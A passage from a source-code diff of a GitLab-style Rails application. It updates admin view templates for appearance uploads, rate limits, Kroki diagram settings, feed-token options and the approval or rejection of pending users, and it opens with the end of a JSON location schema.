+ "description": "A specific commit within the project",
+ "required": [ "type", "value" ],
+ "properties": {
+ "type": { "const": "commit" },
+ "value": { "type": "string", "description": "The commit SHA" }
+ }
+ },
+ "file_location": {
+ "type": "object",
+ "description": "A location within a file in the project",
+ "required": [ "type", "file_name", "line_start" ],
+ "properties": {
+ "type": { "const": "file-location" },
+ "file_name": { "type": "string" },
+ "line_start": { "type": "integer" },
+ "line_end": { "type": "integer" }
+ }
+ },
+ "module_location": {
+ "type": "object",
+ "description": "A location within a binary module of the form module+relative_offset",
+ "required": [ "type", "module_name", "offset" ],
+ "properties": {
+ "type": { "const": "module-location" },
+ "module_name": { "type": "string" },
+ "offset": { "type": "integer" }
+ }
+ }
+ }
+}
diff --git a/app/views/admin/appearances/_form.html.haml b/app/views/admin/appearances/_form.html.haml
index ad3795445d1..67ac9d1c7b8 100644
--- a/app/views/admin/appearances/_form.html.haml
+++ b/app/views/admin/appearances/_form.html.haml
@@ -19,7 +19,7 @@
= link_to 'Remove header logo', header_logos_admin_appearances_path, data: { confirm: "Header logo will be removed. Are you sure?"}, method: :delete, class: "btn gl-button btn-danger btn-danger-secondary btn-sm"
%hr
= f.hidden_field :header_logo_cache
- = f.file_field :header_logo, class: ""
+ = f.file_field :header_logo, class: "", accept: 'image/*'
.hint
Maximum file size is 1MB. Pages are optimized for a 28px tall header logo
%hr
@@ -38,7 +38,7 @@
= link_to 'Remove favicon', favicon_admin_appearances_path, data: { confirm: "Favicon will be removed. Are you sure?"}, method: :delete, class: "btn gl-button btn-danger btn-danger-secondary btn-sm"
%hr
= f.hidden_field :favicon_cache
- = f.file_field :favicon, class: ''
+ = f.file_field :favicon, class: '', accept: 'image/*'
.hint
Maximum file size is 1MB. Image size must be 32x32px. Allowed image formats are #{favicon_extension_whitelist}.
%br
@@ -70,7 +70,7 @@
= link_to 'Remove logo', logo_admin_appearances_path, data: { confirm: "Logo will be removed. Are you sure?"}, method: :delete, class: "btn gl-button btn-danger btn-danger-secondary btn-sm remove-logo"
%hr
= f.hidden_field :logo_cache
- = f.file_field :logo, class: ""
+ = f.file_field :logo, class: "", accept: 'image/*'
.hint
Maximum file size is 1MB. Pages are optimized for a 640x360 px logo.
diff --git a/app/views/admin/application_settings/_account_and_limit.html.haml b/app/views/admin/application_settings/_account_and_limit.html.haml
index f46eb84ce8e..46155f3f670 100644
--- a/app/views/admin/application_settings/_account_and_limit.html.haml
+++ b/app/views/admin/application_settings/_account_and_limit.html.haml
@@ -52,6 +52,9 @@
= link_to _('More information'), help_page_path('user/permissions', anchor: 'setting-new-users-to-external'),
target: '_blank'
.form-group
+ = f.label :personal_access_token_prefix, _('Personal Access Token prefix'), class: 'label-light'
+ = f.text_field :personal_access_token_prefix, placeholder: _('Max 20 characters'), class: 'form-control'
+ .form-group
= f.label :user_show_add_ssh_key_message, _('Prompt users to upload SSH keys'), class: 'label-bold'
.form-check
= f.check_box :user_show_add_ssh_key_message, class: 'form-check-input'
diff --git a/app/views/admin/application_settings/_eks.html.haml b/app/views/admin/application_settings/_eks.html.haml
index 5c0e544eaad..589d754be04 100644
--- a/app/views/admin/application_settings/_eks.html.haml
+++ b/app/views/admin/application_settings/_eks.html.haml
@@ -24,8 +24,13 @@
.form-group
= f.label :eks_access_key_id, 'Access key ID', class: 'label-bold'
= f.text_field :eks_access_key_id, class: 'form-control'
+ .form-text.text-muted
+ = _('AWS Access Key. Only required if not using role instance credentials')
+
.form-group
= f.label :eks_secret_access_key, 'Secret access key', class: 'label-bold'
= f.password_field :eks_secret_access_key, autocomplete: 'off', class: 'form-control'
+ .form-text.text-muted
+ = _('AWS Secret Access Key. Only required if not using role instance credentials')
= f.submit 'Save changes', class: "gl-button btn btn-success"
diff --git a/app/views/admin/application_settings/_ip_limits.html.haml b/app/views/admin/application_settings/_ip_limits.html.haml
index c1565cf42e1..b06070d15d4 100644
--- a/app/views/admin/application_settings/_ip_limits.html.haml
+++ b/app/views/admin/application_settings/_ip_limits.html.haml
@@ -2,44 +2,52 @@
= form_errors(@application_setting)
%fieldset
+ %h5
+ = _('Unauthenticated request rate limit')
.form-group
.form-check
= f.check_box :throttle_unauthenticated_enabled, class: 'form-check-input', data: { qa_selector: 'throttle_unauthenticated_checkbox' }
- = f.label :throttle_unauthenticated_enabled, class: 'form-check-label' do
+ = f.label :throttle_unauthenticated_enabled, class: 'form-check-label label-bold' do
Enable unauthenticated request rate limit
%span.form-text.text-muted
Helps reduce request volume (e.g. from crawlers or abusive bots)
.form-group
- = f.label :throttle_unauthenticated_requests_per_period, 'Max requests per period per IP', class: 'label-bold'
+ = f.label :throttle_unauthenticated_requests_per_period, 'Max unauthenticated requests per period per IP', class: 'label-bold'
= f.number_field :throttle_unauthenticated_requests_per_period, class: 'form-control'
.form-group
- = f.label :throttle_unauthenticated_period_in_seconds, 'Rate limit period in seconds', class: 'label-bold'
+ = f.label :throttle_unauthenticated_period_in_seconds, 'Unauthenticated rate limit period in seconds', class: 'label-bold'
= f.number_field :throttle_unauthenticated_period_in_seconds, class: 'form-control'
+ %hr
+ %h5
+ = _('Authenticated API request rate limit')
.form-group
.form-check
= f.check_box :throttle_authenticated_api_enabled, class: 'form-check-input', data: { qa_selector: 'throttle_authenticated_api_checkbox' }
- = f.label :throttle_authenticated_api_enabled, class: 'form-check-label' do
+ = f.label :throttle_authenticated_api_enabled, class: 'form-check-label label-bold' do
Enable authenticated API request rate limit
%span.form-text.text-muted
Helps reduce request volume (e.g. from crawlers or abusive bots)
.form-group
- = f.label :throttle_authenticated_api_requests_per_period, 'Max requests per period per user', class: 'label-bold'
+ = f.label :throttle_authenticated_api_requests_per_period, 'Max authenticated API requests per period per user', class: 'label-bold'
= f.number_field :throttle_authenticated_api_requests_per_period, class: 'form-control'
.form-group
- = f.label :throttle_authenticated_api_period_in_seconds, 'Rate limit period in seconds', class: 'label-bold'
+ = f.label :throttle_authenticated_api_period_in_seconds, 'Authenticated API rate limit period in seconds', class: 'label-bold'
= f.number_field :throttle_authenticated_api_period_in_seconds, class: 'form-control'
+ %hr
+ %h5
+ = _('Authenticated web request rate limit')
.form-group
.form-check
= f.check_box :throttle_authenticated_web_enabled, class: 'form-check-input', data: { qa_selector: 'throttle_authenticated_web_checkbox' }
- = f.label :throttle_authenticated_web_enabled, class: 'form-check-label' do
+ = f.label :throttle_authenticated_web_enabled, class: 'form-check-label label-bold' do
Enable authenticated web request rate limit
%span.form-text.text-muted
Helps reduce request volume (e.g. from crawlers or abusive bots)
.form-group
- = f.label :throttle_authenticated_web_requests_per_period, 'Max requests per period per user', class: 'label-bold'
+ = f.label :throttle_authenticated_web_requests_per_period, 'Max authenticated web requests per period per user', class: 'label-bold'
= f.number_field :throttle_authenticated_web_requests_per_period, class: 'form-control'
.form-group
- = f.label :throttle_authenticated_web_period_in_seconds, 'Rate limit period in seconds', class: 'label-bold'
+ = f.label :throttle_authenticated_web_period_in_seconds, 'Authenticated web rate limit period in seconds', class: 'label-bold'
= f.number_field :throttle_authenticated_web_period_in_seconds, class: 'form-control'
= f.submit 'Save changes', class: "gl-button btn btn-success", data: { qa_selector: 'save_changes_button' }
diff --git a/app/views/admin/application_settings/_kroki.html.haml b/app/views/admin/application_settings/_kroki.html.haml
new file mode 100644
index 00000000000..1547b28c651
--- /dev/null
+++ b/app/views/admin/application_settings/_kroki.html.haml
@@ -0,0 +1,25 @@
+- expanded = integration_expanded?('kroki_')
+%section.settings.as-kroki.no-animate#js-kroki-settings{ class: ('expanded' if expanded) }
+ .settings-header
+ %h4
+ = _('Kroki')
+ %button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
+ = expanded ? _('Collapse') : _('Expand')
+ %p
+ = _('Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}.').html_safe % { link: link_to('Kroki', 'https://kroki.io', target: '_blank') }
+ .settings-content
+ = form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-kroki-settings'), html: { class: 'fieldset-form' } do |f|
+ = form_errors(@application_setting) if expanded
+
+ %fieldset
+ .form-group
+ .form-check
+ = f.check_box :kroki_enabled, class: 'form-check-input'
+ = f.label :kroki_enabled, _('Enable Kroki'), class: 'form-check-label'
+ .form-group
+ = f.label :kroki_url, 'Kroki URL', class: 'label-bold'
+ = f.text_field :kroki_url, class: 'form-control', placeholder: 'http://your-kroki-instance:8000'
+ .form-text.text-muted
+ = (_('When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you\'ve installed Kroki, make sure to update the server URL to point to your instance.') % { kroki_public_url: '<code>https://kroki.io</code>', install_link: link_to('install Kroki', 'https://docs.kroki.io/kroki/setup/install/', target: '_blank') }).html_safe
+
+ = f.submit _('Save changes'), class: "btn gl-button btn-success"
diff --git a/app/views/admin/application_settings/_plantuml.html.haml b/app/views/admin/application_settings/_plantuml.html.haml
index 30acb773424..77a310c73a8 100644
--- a/app/views/admin/application_settings/_plantuml.html.haml
+++ b/app/views/admin/application_settings/_plantuml.html.haml
@@ -18,7 +18,7 @@
= f.label :plantuml_enabled, _('Enable PlantUML'), class: 'form-check-label'
.form-group
= f.label :plantuml_url, 'PlantUML URL', class: 'label-bold'
- = f.text_field :plantuml_url, class: 'form-control', placeholder: 'http://gitlab.your-plantuml-instance.com:8080'
+ = f.text_field :plantuml_url, class: 'form-control', placeholder: 'http://your-plantuml-instance:8080'
.form-text.text-muted
Allow rendering of
= link_to "PlantUML", "http://plantuml.com"
diff --git a/app/views/admin/application_settings/_signup.html.haml b/app/views/admin/application_settings/_signup.html.haml
index c3deb8af99e..2f2d42e297e 100644
--- a/app/views/admin/application_settings/_signup.html.haml
+++ b/app/views/admin/application_settings/_signup.html.haml
@@ -11,7 +11,7 @@
= _("When enabled, any user visiting %{host} will be able to create an account.") % { host: "#{new_user_session_url(host: Gitlab.config.gitlab.host)}" }
.form-group
.form-check
- = f.check_box :require_admin_approval_after_user_signup, class: 'form-check-input'
+ = f.check_box :require_admin_approval_after_user_signup, class: 'form-check-input', data: { qa_selector: 'require_admin_approval_after_user_signup_checkbox' }
= f.label :require_admin_approval_after_user_signup, class: 'form-check-label' do
= _('Require admin approval for new sign-ups')
.form-text.text-muted
@@ -77,4 +77,4 @@
= f.label :after_sign_up_text, class: 'label-bold'
= f.text_area :after_sign_up_text, class: 'form-control', rows: 4
.form-text.text-muted Markdown enabled
- = f.submit 'Save changes', class: "gl-button btn btn-success"
+ = f.submit 'Save changes', class: "gl-button btn btn-success", data: { qa_selector: 'save_changes_button' }
diff --git a/app/views/admin/application_settings/_visibility_and_access.html.haml b/app/views/admin/application_settings/_visibility_and_access.html.haml
index 46d8a8ac9c7..709ce497132 100644
--- a/app/views/admin/application_settings/_visibility_and_access.html.haml
+++ b/app/views/admin/application_settings/_visibility_and_access.html.haml
@@ -66,4 +66,12 @@
.form-group
= f.label field_name, "#{type.upcase} SSH keys", class: 'label-bold'
= f.select field_name, key_restriction_options_for_select(type), {}, class: 'form-control'
+
+ .form-group
+ %label.label-bold= s_('AdminSettings|Feed token')
+ .form-check
+ = f.check_box :disable_feed_token, class: 'form-check-input'
+ = f.label :disable_feed_token, class: 'form-check-label' do
+ = s_('AdminSettings|Disable feed token')
+
= f.submit _('Save changes'), class: "gl-button btn btn-success"
diff --git a/app/views/admin/application_settings/general.html.haml b/app/views/admin/application_settings/general.html.haml
index 5c3f68843a2..8f15dcac40a 100644
--- a/app/views/admin/application_settings/general.html.haml
+++ b/app/views/admin/application_settings/general.html.haml
@@ -35,7 +35,7 @@
.settings-content
= render 'diff_limits'
-%section.settings.as-signup.no-animate#js-signup-settings{ class: ('expanded' if expanded_by_default?) }
+%section.settings.as-signup.no-animate#js-signup-settings{ class: ('expanded' if expanded_by_default?), data: { qa_selector: 'sign_up_restrictions_settings_content' } }
.settings-header
%h4
= _('Sign-up restrictions')
@@ -103,20 +103,10 @@
= s_('IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview.')
= f.submit _('Save changes'), class: "gl-button btn btn-success"
-- if Feature.enabled?(:maintenance_mode)
- %section.settings.no-animate#js-maintenance-mode-toggle{ class: ('expanded' if expanded_by_default?) }
- .settings-header
- %h4
- = _('Maintenance mode')
- %button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
- = expanded_by_default? ? _('Collapse') : _('Expand')
- %p
- = _('Prevent users from performing write operations on GitLab while performing maintenance.')
- .settings-content
- #js-maintenance-mode-settings
-
+= render_if_exists 'admin/application_settings/maintenance_mode_settings_form'
= render_if_exists 'admin/application_settings/elasticsearch_form'
= render 'admin/application_settings/gitpod'
+= render 'admin/application_settings/kroki'
= render 'admin/application_settings/plantuml'
= render 'admin/application_settings/sourcegraph'
= render_if_exists 'admin/application_settings/slack'
diff --git a/app/views/admin/application_settings/metrics_and_profiling.html.haml b/app/views/admin/application_settings/metrics_and_profiling.html.haml
index 9f1b7195ab7..4959e596148 100644
--- a/app/views/admin/application_settings/metrics_and_profiling.html.haml
+++ b/app/views/admin/application_settings/metrics_and_profiling.html.haml
@@ -6,7 +6,7 @@
.settings-header
%h4
= _('Metrics - Prometheus')
- %button.btn.btn-default.js-settings-toggle{ type: 'button' }
+ %button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
= expanded_by_default? ? _('Collapse') : _('Expand')
%p
= _('Enable and configure Prometheus metrics.')
@@ -17,7 +17,7 @@
.settings-header
%h4
= _('Metrics - Grafana')
- %button.btn.btn-default.js-settings-toggle{ type: 'button' }
+ %button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
= expanded_by_default? ? _('Collapse') : _('Expand')
%p
= _('Enable and configure Grafana.')
@@ -28,7 +28,7 @@
.settings-header
%h4
= _('Profiling - Performance bar')
- %button.btn.btn-default.js-settings-toggle{ type: 'button' }
+ %button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
= expanded_by_default? ? _('Collapse') : _('Expand')
%p
= _('Enable access to the Performance Bar for a given group.')
@@ -42,7 +42,7 @@
.settings-header#usage-statistics
%h4
= _('Usage statistics')
- %button.btn.btn-default.js-settings-toggle{ type: 'button' }
+ %button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
= expanded_by_default? ? _('Collapse') : _('Expand')
%p
= _('Enable or disable version check and usage ping.')
diff --git a/app/views/admin/dashboard/index.html.haml b/app/views/admin/dashboard/index.html.haml
index 220a211cca6..8cc04392752 100644
--- a/app/views/admin/dashboard/index.html.haml
+++ b/app/views/admin/dashboard/index.html.haml
@@ -9,7 +9,7 @@
dismissible: true.to_s } }
= notice[:message].html_safe
-- if @license.present? && show_license_breakdown?
+- if @license.present?
.license-panel.gl-mt-5
= render_if_exists 'admin/licenses/summary'
= render_if_exists 'admin/licenses/breakdown'
diff --git a/app/views/admin/dev_ops_report/show.html.haml b/app/views/admin/dev_ops_report/show.html.haml
index dc3bda3a994..75398f3aa21 100644
--- a/app/views/admin/dev_ops_report/show.html.haml
+++ b/app/views/admin/dev_ops_report/show.html.haml
@@ -3,7 +3,7 @@
.container
.gl-mt-3
- - if Gitlab.ee? && Feature.enabled?(:devops_adoption_feature) && License.feature_available?(:devops_adoption)
+ - if Gitlab.ee? && Feature.enabled?(:devops_adoption_feature, default_enabled: true) && License.feature_available?(:devops_adoption)
= render_if_exists 'admin/dev_ops_report/devops_tabs'
- else
= render 'report'
diff --git a/app/views/admin/groups/_form.html.haml b/app/views/admin/groups/_form.html.haml
index 6174da14ac0..e4517dca6d0 100644
--- a/app/views/admin/groups/_form.html.haml
+++ b/app/views/admin/groups/_form.html.haml
@@ -1,6 +1,7 @@
= form_for [:admin, @group] do |f|
= form_errors(@group)
= render 'shared/group_form', f: f
+ = render 'shared/group_form_description', f: f
= render_if_exists 'shared/old_repository_size_limit_setting', form: f, type: :group
= render_if_exists 'admin/namespace_plan', f: f
diff --git a/app/views/admin/hooks/_form.html.haml b/app/views/admin/hooks/_form.html.haml
index 17bb054b869..5bc5404fada 100644
--- a/app/views/admin/hooks/_form.html.haml
+++ b/app/views/admin/hooks/_form.html.haml
@@ -18,28 +18,28 @@
.gl-mt-3
= form.check_box :repository_update_events, class: 'float-left'
- .prepend-left-20
+ .gl-ml-6
= form.label :repository_update_events, class: 'list-label' do
%strong Repository update events
%p.light
This URL will be triggered when repository is updated
%li
= form.check_box :push_events, class: 'float-left'
- .prepend-left-20
+ .gl-ml-6
= form.label :push_events, class: 'list-label' do
%strong Push events
%p.light
This URL will be triggered for each branch updated to the repository
%li
= form.check_box :tag_push_events, class: 'float-left'
- .prepend-left-20
+ .gl-ml-6
= form.label :tag_push_events, class: 'list-label' do
%strong Tag push events
%p.light
This URL will be triggered when a new tag is pushed to the repository
%li
= form.check_box :merge_requests_events, class: 'float-left'
- .prepend-left-20
+ .gl-ml-6
= form.label :merge_requests_events, class: 'list-label' do
%strong Merge request events
%p.light
diff --git a/app/views/admin/labels/index.html.haml b/app/views/admin/labels/index.html.haml
index 76d37626fff..f204e620e9d 100644
--- a/app/views/admin/labels/index.html.haml
+++ b/app/views/admin/labels/index.html.haml
@@ -1,7 +1,7 @@
- page_title _("Labels")
%div
- = link_to new_admin_label_path, class: "float-right btn gl-button btn-nr btn-success" do
+ = link_to new_admin_label_path, class: "float-right btn gl-button btn-success" do
= _('New label')
%h3.page-title
= _('Labels')
diff --git a/app/views/admin/runners/_sort_dropdown.html.haml b/app/views/admin/runners/_sort_dropdown.html.haml
index 3b3de042511..c6627ae0f27 100644
--- a/app/views/admin/runners/_sort_dropdown.html.haml
+++ b/app/views/admin/runners/_sort_dropdown.html.haml
@@ -3,7 +3,7 @@
.dropdown.inline.gl-ml-3
%button.dropdown-menu-toggle{ type: 'button', data: { toggle: 'dropdown', display: 'static' } }
= sorted_by
- = icon('chevron-down')
+ = sprite_icon('chevron-down', css_class: 'dropdown-menu-toggle-icon gl-top-3')
%ul.dropdown-menu.dropdown-menu-right.dropdown-menu-selectable.dropdown-menu-sort
%li
= sortable_item(sort_title_created_date, page_filter_path(sort: sort_value_created_date), sorted_by)
diff --git a/app/views/admin/runners/show.html.haml b/app/views/admin/runners/show.html.haml
index 2c4befb1be2..06925964dc5 100644
--- a/app/views/admin/runners/show.html.haml
+++ b/app/views/admin/runners/show.html.haml
@@ -9,7 +9,7 @@
%span.runner-state.runner-state-specific
Specific
-- page_title _("Runners")
+- page_title @runner.short_sha
- add_to_breadcrumbs _("Runners"), admin_runners_path
- breadcrumb_title "##{@runner.id}"
@@ -39,17 +39,18 @@
%thead
%tr
%th Assigned projects
- %th
- @runner.runner_projects.each do |runner_project|
- project = runner_project.project
- if project
- %tr.alert-info
+ %tr
%td
- %strong
- = project.full_name
- %td
- .float-right
- = link_to 'Disable', admin_namespace_project_runner_project_path(project.namespace, project, runner_project), method: :delete, class: 'gl-button btn btn-danger btn-sm'
+ .gl-alert.gl-alert-danger
+ = sprite_icon('error', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
+ .gl-alert-body
+ %strong
+ = project.full_name
+ .gl-alert-actions
+ = link_to s_('Disable'), admin_namespace_project_runner_project_path(project.namespace, project, runner_project), method: :delete, class: 'btn gl-alert-action btn-info btn-md gl-button'
%table.table.unassigned-projects
%thead
diff --git a/app/views/admin/users/_approve_user.html.haml b/app/views/admin/users/_approve_user.html.haml
index b4d960d909c..f61c9fa4b80 100644
--- a/app/views/admin/users/_approve_user.html.haml
+++ b/app/views/admin/users/_approve_user.html.haml
@@ -4,4 +4,4 @@
.card-body
= render partial: 'admin/users/user_approve_effects'
%br
- = link_to s_('AdminUsers|Approve user'), approve_admin_user_path(user), method: :put, class: "btn gl-button btn-info", data: { confirm: s_('AdminUsers|Are you sure?') }
+ = link_to s_('AdminUsers|Approve user'), approve_admin_user_path(user), method: :put, class: "btn gl-button btn-info", data: { confirm: s_('AdminUsers|Are you sure?'), qa_selector: 'approve_user_button' }
diff --git a/app/views/admin/users/_modals.html.haml b/app/views/admin/users/_modals.html.haml
index e56bbd06575..f6e7cefafe7 100644
--- a/app/views/admin/users/_modals.html.haml
+++ b/app/views/admin/users/_modals.html.haml
@@ -1,10 +1,5 @@
-#user-modal
-#modal-texts.hidden{ "hidden": true, "aria-hidden": true }
- %div{ data: { modal: "deactivate",
- title: s_("AdminUsers|Deactivate User %{username}?"),
- action: s_("AdminUsers|Deactivate") } }
- = render partial: 'admin/users/user_deactivation_effects'
-
+#js-delete-user-modal
+#js-modal-texts.hidden{ "hidden": true, "aria-hidden": true }
%div{ data: { modal: "delete",
title: s_("AdminUsers|Delete User %{username}?"),
action: s_('AdminUsers|Delete user'),
diff --git a/app/views/admin/users/_reject_pending_user.html.haml b/app/views/admin/users/_reject_pending_user.html.haml
new file mode 100644
index 00000000000..17108427330
--- /dev/null
+++ b/app/views/admin/users/_reject_pending_user.html.haml
@@ -0,0 +1,7 @@
+.card.border-danger
+ .card-header.bg-danger.gl-text-white
+ = s_('AdminUsers|This user has requested access')
+ .card-body
+ = render partial: 'admin/users/user_reject_effects'
+ %br
+ = link_to s_('AdminUsers|Reject request'), reject_admin_user_path(user), method: :delete, class: "btn gl-button btn-danger", data: { confirm: s_('AdminUsers|Are you sure?') }
diff --git a/app/views/admin/users/_user.html.haml b/app/views/admin/users/_user.html.haml
index 679c4805280..31fd3aea94d 100644
--- a/app/views/admin/users/_user.html.haml
+++ b/app/views/admin/users/_user.html.haml
@@ -37,26 +37,25 @@
- elsif user.blocked?
- if user.blocked_pending_approval?
= link_to s_('AdminUsers|Approve'), approve_admin_user_path(user), method: :put
- %button.btn.btn-default-tertiary.js-confirm-modal-button{ data: user_block_data(user, user_block_effects) }
- = s_('AdminUsers|Block')
+ = link_to s_('AdminUsers|Reject'), reject_admin_user_path(user), method: :delete
- else
- = link_to _('Unblock'), unblock_admin_user_path(user), method: :put
+ %button.btn.btn-default-tertiary.js-confirm-modal-button{ data: user_unblock_data(user) }
+ = s_('AdminUsers|Unblock')
- else
%button.btn.btn-default-tertiary.js-confirm-modal-button{ data: user_block_data(user, user_block_effects) }
= s_('AdminUsers|Block')
- if user.can_be_deactivated?
%li
- %button.btn.btn-default-tertiary{ data: { 'gl-modal-action': 'deactivate',
- url: deactivate_admin_user_path(user),
- username: sanitize_name(user.name) } }
+ %button.btn.btn-default-tertiary.js-confirm-modal-button{ data: user_deactivation_data(user, user_deactivation_effects) }
= s_('AdminUsers|Deactivate')
- elsif user.deactivated?
%li
- = link_to _('Activate'), activate_admin_user_path(user), method: :put
+ %button.btn.btn-default-tertiary.js-confirm-modal-button{ data: user_activation_data(user) }
+ = s_('AdminUsers|Activate')
- if user.access_locked?
%li
= link_to _('Unlock'), unlock_admin_user_path(user), method: :put, data: { confirm: _('Are you sure?') }
- - if can?(current_user, :destroy_user, user)
+ - if can?(current_user, :destroy_user, user) && !user.blocked_pending_approval?
%li.divider
- if user.can_be_removed?
%li
diff --git a/app/views/admin/users/_user_deactivation_effects.html.haml b/app/views/admin/users/_user_deactivation_effects.html.haml
deleted file mode 100644
index dc3896e18c0..00000000000
--- a/app/views/admin/users/_user_deactivation_effects.html.haml
+++ /dev/null
@@ -1,18 +0,0 @@
-%p
- = s_('AdminUsers|Deactivating a user has the following effects:')
-%ul
- %li
- = s_('AdminUsers|The user will be logged out')
- %li
- = s_('AdminUsers|The user will not be able to access git repositories')
- %li
- = s_('AdminUsers|The user will not be able to access the API')
- %li
- = s_('AdminUsers|The user will not receive any notifications')
- %li
- = s_('AdminUsers|The user will not be able to use slash commands')
- %li
- = s_('AdminUsers|When the user logs back in, their account will reactivate as a fully active account')
- %li
- = s_('AdminUsers|Personal projects, group and user history will be left intact')
- = render_if_exists 'admin/users/user_deactivation_effects_on_seats'
diff --git a/app/views/admin/users/_user_reject_effects.html.haml b/app/views/admin/users/_user_reject_effects.html.haml
new file mode 100644
index 00000000000..17b6862b0cc
--- /dev/null
+++ b/app/views/admin/users/_user_reject_effects.html.haml
@@ -0,0 +1,10 @@
+%p
+ = s_('AdminUsers|Rejected users:')
+%ul
+ %li
+ = s_('AdminUsers|Cannot sign in or access instance information')
+ %li
+ = s_('AdminUsers|Will be deleted')
+%p
+ - link_start = '<a href="%{url}">'.html_safe % { url: help_page_path("user/profile/account/delete_account", anchor: "associated-records") }
+ = s_('AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}').html_safe % { link_start: link_start, link_end: '</a>'.html_safe }
diff --git a/app/views/admin/users/index.html.haml b/app/views/admin/users/index.html.haml
index 2e179d2d845..b86abb893a9 100644
--- a/app/views/admin/users/index.html.haml
+++ b/app/views/admin/users/index.html.haml
@@ -31,7 +31,7 @@
= s_('AdminUsers|Blocked')
%small.badge.badge-pill= limited_counter_with_delimiter(User.blocked)
= nav_link(html_options: { class: "#{active_when(params[:filter] == 'blocked_pending_approval')} filter-blocked-pending-approval" }) do
- = link_to admin_users_path(filter: "blocked_pending_approval") do
+ = link_to admin_users_path(filter: "blocked_pending_approval"), data: { qa_selector: 'pending_approval_tab' } do
= s_('AdminUsers|Pending approval')
%small.badge.badge-pill= limited_counter_with_delimiter(User.blocked_pending_approval)
= nav_link(html_options: { class: active_when(params[:filter] == 'deactivated') }) do
@@ -69,7 +69,11 @@
= link_to admin_users_path(sort: value, filter: params[:filter], search_query: params[:search_query]) do
= title
-- if @users.empty?
+- if Feature.enabled?(:vue_admin_users)
+ #js-admin-users-app{ data: admin_users_data_attributes(@users) }
+ .gl-spinner-container.gl-my-7
+ %span.gl-vertical-align-bottom.gl-spinner.gl-spinner-dark.gl-spinner-lg{ aria: { label: _('Loading') } }
+- elsif @users.empty?
.nothing-here-block.border-top-0
= s_('AdminUsers|No users found')
- else
diff --git a/app/views/admin/users/show.html.haml b/app/views/admin/users/show.html.haml
index 9c6f151a6b1..26f78ea4d6a 100644
--- a/app/views/admin/users/show.html.haml
+++ b/app/views/admin/users/show.html.haml
@@ -42,7 +42,7 @@
= sprite_icon('close', size: 16, css_class: 'gl-icon')
%li
%span.light ID:
- %strong
+ %strong{ data: { qa_selector: 'user_id_content' } }
= @user.id
%li
%span.light= _('Namespace ID:')
@@ -158,24 +158,21 @@
.card-body
= render partial: 'admin/users/user_activation_effects'
%br
- = link_to 'Activate user', activate_admin_user_path(@user), method: :put, class: "btn gl-button btn-info", data: { confirm: 'Are you sure?' }
+ %button.btn.gl-button.btn-info.js-confirm-modal-button{ data: user_activation_data(@user) }
+ = s_('AdminUsers|Activate user')
- elsif @user.can_be_deactivated?
.card.border-warning
.card-header.bg-warning.text-white
Deactivate this user
.card-body
- = render partial: 'admin/users/user_deactivation_effects'
+ = user_deactivation_effects
%br
- %button.btn.gl-button.btn-warning{ data: { 'gl-modal-action': 'deactivate',
- content: 'You can always re-activate their account, their data will remain intact.',
- url: deactivate_admin_user_path(@user),
- username: sanitize_name(@user.name) } }
+ %button.btn.gl-button.btn-warning.js-confirm-modal-button{ data: user_deactivation_data(@user, s_('AdminUsers|You can always re-activate their account, their data will remain intact.')) }
= s_('AdminUsers|Deactivate user')
-
- if @user.blocked?
- if @user.blocked_pending_approval?
= render 'admin/users/approve_user', user: @user
- = render 'admin/users/block_user', user: @user
+ = render 'admin/users/reject_pending_user', user: @user
- else
.card.border-info
.card-header.gl-bg-blue-500.gl-text-white
@@ -186,7 +183,8 @@
%li Log in
%li Access Git repositories
%br
- = link_to 'Unblock user', unblock_admin_user_path(@user), method: :put, class: "btn gl-button btn-info", data: { confirm: s_('AdminUsers|Are you sure?') }
+ %button.btn.gl-button.btn-info.js-confirm-modal-button{ data: user_unblock_data(@user) }
+ = s_('AdminUsers|Unblock user')
- elsif !@user.internal?
= render 'admin/users/block_user', user: @user
@@ -198,52 +196,52 @@
%p This user has been temporarily locked due to excessive number of failed logins. You may manually unlock the account.
%br
= link_to 'Unlock user', unlock_admin_user_path(@user), method: :put, class: "btn gl-button btn-info", data: { confirm: 'Are you sure?' }
-
- .card.border-danger
- .card-header.bg-danger.text-white
- = s_('AdminUsers|Delete user')
- .card-body
- - if @user.can_be_removed? && can?(current_user, :destroy_user, @user)
- %p Deleting a user has the following effects:
- = render 'users/deletion_guidance', user: @user
- %br
- %button.delete-user-button.btn.gl-button.btn-danger{ data: { 'gl-modal-action': 'delete',
- delete_user_url: admin_user_path(@user),
- block_user_url: block_admin_user_path(@user),
- username: sanitize_name(@user.name) } }
- = s_('AdminUsers|Delete user')
- - else
- - if @user.solo_owned_groups.present?
- %p
- This user is currently an owner in these groups:
- %strong= @user.solo_owned_groups.map(&:name).join(', ')
+ - if !@user.blocked_pending_approval?
+ .card.border-danger
+ .card-header.bg-danger.text-white
+ = s_('AdminUsers|Delete user')
+ .card-body
+ - if @user.can_be_removed? && can?(current_user, :destroy_user, @user)
+ %p Deleting a user has the following effects:
+ = render 'users/deletion_guidance', user: @user
+ %br
+ %button.delete-user-button.btn.gl-button.btn-danger{ data: { 'gl-modal-action': 'delete',
+ delete_user_url: admin_user_path(@user),
+ block_user_url: block_admin_user_path(@user),
+ username: sanitize_name(@user.name) } }
+ = s_('AdminUsers|Delete user')
+ - else
+ - if @user.solo_owned_groups.present?
+ %p
+ This user is currently an owner in these groups:
+ %strong= @user.solo_owned_groups.map(&:name).join(', ')
+ %p
+ You must transfer ownership or delete these groups before you can delete this user.
+ - else
+ %p
+ You don't have access to delete this user.
+
+ .card.border-danger
+ .card-header.bg-danger.text-white
+ = s_('AdminUsers|Delete user and contributions')
+ .card-body
+ - if can?(current_user, :destroy_user, @user)
%p
- You must transfer ownership or delete these groups before you can delete this user.
+ This option deletes the user and any contributions that
+ would usually be moved to the
+ = succeed "." do
+ = link_to "system ghost user", help_page_path("user/profile/account/delete_account")
+ As well as the user's personal projects, groups owned solely by
